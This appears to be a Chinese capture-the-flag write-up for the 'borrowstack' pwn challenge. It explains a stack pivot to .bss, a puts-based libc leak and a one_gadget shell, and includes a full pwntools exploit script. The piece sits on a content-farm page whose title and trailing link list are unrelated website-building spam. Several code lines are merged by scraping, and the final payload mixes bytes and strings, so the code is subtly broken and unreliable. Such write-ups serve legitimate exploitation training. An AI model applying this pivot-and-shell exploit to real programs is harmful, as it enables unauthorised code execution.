当前位置: 首页 > news >正文

建设网站需要哪些域名外国网站的风格

建设网站需要哪些域名,外国网站的风格,自己的公众号,无锡注册公司流程和费用多少这是一题栈迁移的题目,先看看保护: 黑盒测试: 用户可输入两次内容,接着看看IDA中具体程序流程: 我们看到溢出内容只有0x10的空间给我们布局,这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地…

这是一题栈迁移的题目,先看看保护:



黑盒测试:


用户可输入两次内容,接着看看IDA中具体程序流程:


我们看到溢出内容只有0x10的空间给我们布局,这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地方呢,肯定就是这个bank所在的地方了。它在bss段上。我们还需要考虑一些细节上的东西,首先我们需要知道libc的基地址,因此我们需要通过puts函数来泄露。我们先看看最初栈的布局:

此时rip指向leave:


栈的内容:


leave指令做两件事:mov rsp,rbp;pop rbp.紧接着就是执行ret指令。

因此我们的思路明确了,需要覆盖掉old_rbp(图中手误大家理解就行)和返回地址。

old_rbp覆盖成我们的bss段,让rbp指过去,接着返回地址需要再调用一次leave。

问:(为何栈迁移需要两次调用leave?)

答:第一次调用是控制rbp到达想去的地方,第二次调用是控制rsp达到目的地。此后rbp飞去哪我们就不管了(不明白可以好好理解leave指令干的两件事)


因此我们的exp就能这样写了:

from pwn import *#io=remote('')
io=process('./gyctf_2020_borrowstack')
context.log_level='debug'
elf=ELF('./gyctf_2020_borrowstack')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bank=0x0601080
leave=0x400699
pop_rdi=0x400703  # ROPgadget --binary gyctf_2020_borrowstack  --only 'pop|ret' | grep 'rdi'
main=0x0400626
ret=0x4004c9gdb.attach(io)
io.recvuntil('u want')
pl1=b'a'*0x60+p64(bank)+p64(leave)    #control rsp -> .bss
io.send(pl1)
# gdb.attach(io)
# pause()
io.recvuntil('now!')
pl2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)     #leak puts_addr  
io.send(pl2)io.recvline()puts_add=u64(io.recv(6).ljust(8,b'\x00'))
print('!!!',hex(puts_add))
libc_base=puts_add-0x6F6A0
one_gadget=libc_base+0x4527a
pl3=b'a'*0x60+'bbbbbbbb'+p64(one_gadget) #one_gadget libc.2.23.so
io.send(pl3)
io.send('a')io.interactive()

下面我们看下步骤好的栈布局:


bss段上的内容:


此时劫持完rsp后效果是这样的:


接下来的操作基本都是pop,因此rsp是从低地址到高地址跑(每次pop,rsp+8),所以我们顺序布局就可以。

后续的操作就很简单,通过泄露的puts函数地址,计算出libc的基地址,当程序再次回到主函数时,直接将栈上的返回地址覆盖成one_gadget拿到权限。

puts函数偏移和one_gadget偏移要根据自身情况来定。我这是本地的环境。最后打通如下:


http://www.yayakq.cn/news/334081/

相关文章:

  • 章丘营销型网站设计公司wordpress更改域名后
  • 网站广告推广怎么做的源码网站代理
  • asp.net网站sql权限设置成都 网站建设
  • wordpress外贸建站主题wordpress 首页编辑
  • 浙江建设招生网站wordpress+4.4
  • 网易工作做网站工资奖金高吗河北网站排名
  • 做百度竞价对网站有无要求中企动力z邮箱登录
  • 定制旅游网站建设方案高端建站什么意思
  • 东莞品牌网站建设服务营销网站建设哪个平台好
  • 网站备案过户住建厅电子证书的查询方式
  • 长安网站建设详细教程常见的手机网站
  • 做网站浏览器淘宝客网站需要多大空间
  • 福建省建设继续教育网站网站怎样做优化
  • 网站的建设与运营网站策划与建设阶段应该做什么
  • 做a免费视频在线观看网站阿里云服务器官网登录入口
  • 做餐饮连锁在哪个网站看自动发卡 wordpress
  • 免费的网站制作平台对网站建设心得
  • 内蒙古城乡建设厅网站新北仑网站怎么做的
  • 网站开发使用软件有哪些山东网站建设运行工资
  • 网站最下端怎么做英文网站推荐
  • 网站建设优化服务公司跨境电商的网络营销方式
  • 做网站gif代码外包建设网站
  • 小规模开普票网站建设几个点资金盘app开发要多少钱
  • 对个人做swot分析的网站合肥做微网站
  • cms自助建站系统湘西建设监理协会网站
  • 系统和网站哪个简单一点宣传信息网网站规划书
  • 关于做网站的了解点网站开发需要的技术人员有什么
  • 深圳网站备案拍照点装修网页
  • 镇江建网站如何免费创建自己的小程序
  • joomla 宠物网站模板知识付费网站建设